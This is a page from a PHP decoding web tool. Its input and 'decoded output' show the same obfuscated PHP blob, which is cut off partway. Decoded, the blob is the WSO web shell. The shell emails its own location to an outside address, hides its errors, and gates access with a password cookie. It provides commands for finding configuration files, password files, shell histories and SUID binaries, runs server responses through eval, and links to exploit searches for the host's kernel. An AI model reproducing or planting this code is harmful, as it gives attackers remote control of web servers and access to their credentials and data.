Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDNybCA9ICghNW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodH..
Decoded Output download
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDNybCA9ICghNW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodHRwczovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQptMTRsKCduMXZkNTVwczV0aDRAMjN0bDIyay5jMm0nLCAnU2g1bGwgTDJjMXQ0Mm4nLCAnUzJtNTJuNSB2NHM0dDVkIHRoNSBwMWc1OiAnLiQzcmwsICdGcjJtOiBWNGN0NG0gTjIuIDYnKTsNCg0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmknKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIFdTT3N0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHI0cHNsMXNoNXMoJF9DT09LSUUpOw0KfQ0KDQpmM25jdDQybiB3czJMMmc0bigpIHsNCglkNDUoIjxwcjUgMWw0Z249YzVudDVyPjxmMnJtIG01dGgyZD1wMnN0PlAxc3N3MnJkOiA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvcHI1PiIpOw0KfQ0KDQpmM25jdDQybiBXU09zNXRjMjJrNDUoJGssICR2KSB7DQogICAgJF9DT09LSUVbJGtdID0gJHY7DQogICAgczV0YzIyazQ1KCRrLCAkdik7DQp9DQoNCjRmKCE1bXB0eSgkMTN0aF9wMXNzKSkgew0KICAgIDRmKDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSkNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkMTN0aF9wMXNzKTsNCg0KICAgIDRmICghNHNzNXQoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICQxM3RoX3Axc3MpKQ0KICAgICAgICB3czJMMmc0bigpOw0KfQ0KDQo0ZihzdHJ0MmwydzVyKHMzYnN0cihQSFBfT1MsMCxvKSkgPT0gInc0biIpDQoJJDJzID0gJ3c0bic7DQo1bHM1DQoJJDJzID0gJ240eCc7DQoNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQo0ZighJHMxZjVfbTJkNSkNCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7DQoNCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KJGgybTVfY3dkID0gQGc1dGN3ZCgpOw0KNGYoNHNzNXQoJF9QT1NUWydjJ10pKQ0KCUBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQoJJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KCSRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoJGN3ZFtzdHJsNW4oJGN3ZCktNl0gIT0gJy8nKQ0KCSRjd2QgLj0gJy8nOw0KDQo0ZighNHNzNXQoJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddKSkNCiAgICAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSAoYjIybCkkZDVmMTNsdF8zczVfMWoxeDsNCg0KNGYoJDJzID09ICd3NG4nKQ0KCSQxbDQxczVzID0gMXJyMXkoDQoJCSJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgCSJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgIAkiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAJIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgIAkiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAJIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgCSJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCgkJIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQoJCSJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCgkpOw0KNWxzNQ0KCSQxbDQxczVzID0gMXJyMXkoDQogIAkJIkw0c3QgZDRyIiA9PiAibHMgLWxoMSIsDQoJCSJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAJCSJzaDJ3IDJwNW41ZCBwMnJ0cyIgPT4gIm41dHN0MXQgLTFuIHwgZ3I1cCAtNCBsNHN0NW4iLA0KICAgICAgICAicHIyYzVzcyBzdDF0M3MiID0+ICJwcyAxM3giLA0KCQkiRjRuZCIgPT4gIiIsDQogIAkJImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAJCSJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQoJCSJMMmMxdDUiID0+ICIiLA0KICAJCSJsMmMxdDUgaHR0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBodHRwZC5jMm5mIiwNCgkJImwyYzF0NSB2aDJzdHMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSB2aDJzdHMuYzJuZiIsDQoJCSJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQoJCSJsMmMxdDUgcHN5Ym5jLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHN5Ym5jLmMybmYiLA0KCQkibDJjMXQ1IG15LmMybmYgZjRsNXMiID0+ICJsMmMxdDUgbXkuYzJuZiIsDQoJCSJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCgkJImwyYzF0NSBjZmcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGNmZy5waHAiLA0KCQkibDJjMXQ1IGMybmYucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmYucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KCQkibDJjMXQ1IGMybmY0Zy5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYyBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuNG5jIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnKiBmNGw1cyAiID0+ICJsMmMxdDUgYzJuZjRnIiwNCgkJImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQoJCSJsMmMxdDUgLnB3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLnB3ZCciLA0KCQkibDJjMXQ1IC5zcWwgZjRsNXMiID0+ICJsMmMxdDUgJy5zcWwnIiwNCgkJImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KCQkibDJjMXQ1IC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5iMXNoX2g0c3QycnknIiwNCgkJImwyYzF0NSAubXlzcWxfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLm15c3FsX2g0c3QycnknIiwNCgkJImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KCQkibDJjMXQ1IGIxY2szcCBmNGw1cyIgPT4gImwyYzF0NSBiMWNrM3AiLA0KCQkibDJjMXQ1IGQzbXAgZjRsNXMiID0+ICJsMmMxdDUgZDNtcCIsDQoJCSJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNGYoISRjMmwycikJJGMybDJyID0gJ3doNHQ1JzsNCgk1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBXU08gIiAuIFdTT19WRVJTSU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojdXV1O2MybDJyOiM1NjU2NTY7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojNTY1NjU2OyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2FhYTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6I2FhYTttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDpvMDBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNX0NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQoJZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCTRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQoJCTRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQoJCTRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCgkJNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KCQk0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQoJCTRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQoJfQ0KCWYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJZC5tZi5zM2JtNHQoKTsNCgl9DQoJZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQl2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQoJCWYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQlwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KCQlzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCgl9DQoJZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCiAgICAgICAgICAgICAgICAgICAgDQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCgkkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KCSRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KCSRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQoJJDV4cGw0bmsgPSAnaHR0cDovLzV4cGwyNHQtZGIuYzJtL3M1MXJjaC8/MWN0NDJuPXM1MXJjaCZmNGx0NXJfZDVzY3I0cHQ0Mm49JzsNCgk0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KCTVsczUNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQoJCSQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCgkJJDM0ZCA9IEBnNXRteTM0ZCgpOw0KCQkkZzRkID0gQGc1dG15ZzRkKCk7DQoJCSRncjIzcCA9ICI/IjsNCgl9IDVsczUgew0KCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQoJCSRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCgkJJDNzNXIgPSAkMzRkWyduMW01J107DQoJCSQzNGQgPSAkMzRkWyczNGQnXTsNCgkJJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KCQkkZzRkID0gJGc0ZFsnZzRkJ107DQoJfQ0KDQoJJGN3ZF9sNG5rcyA9ICcnOw0KCSRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49YzIzbnQoJHAxdGgpOw0KCWYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQoJCSRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KCSQycHRfY2gxcnM1dHMgPSAnJzsNCglmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCgkJJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQoJJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQoJNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQoJCSRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOw0KCSRtWydTNWxmIHI1bTJ2NSddID0gJ1M1bGZSNW0ydjUnOw0KCSRtNW4zID0gJyc7DQoJZjJyNTFjaCgkbSAxcyAkayA9PiAkdikNCgkJJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCg0KCSRkcjR2NXMgPSAiIjsNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KCQlmMnI1MWNoKHIxbmc1KCdjJywneicpIDFzICRkcjR2NSkNCgkJNGYoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQoJCQkkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7DQoJfQ0KCTVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzOic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+WzV4cGwyNHQtZGIuYzJtXTwvMT48L24yYnI+PGJyPicgLiAkMzRkIC4gJyAoICcgLiAkM3M1ciAuICcgKSA8c3Axbj5HcjIzcDo8L3NwMW4+ICcgLiAkZzRkIC4gJyAoICcgLiAkZ3IyM3AgLiAnICk8YnI+JyAuIEBwaHB2NXJzNDJuKCkgLiAnIDxzcDFuPlMxZjUgbTJkNTo8L3NwMW4+ICcgLiAoJEdMT0JBTFNbJ3MxZjVfbTJkNSddPyc8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+JzonPGYybnQgYzJsMnI9Z3I1NW4+PGI+T0ZGPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj5EMXQ1dDRtNTo8L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJyAuIHdzMlY0NXdTNHo1KCRmcjU1U3AxYzUpIC4gJyAoJy4gKDRudCkg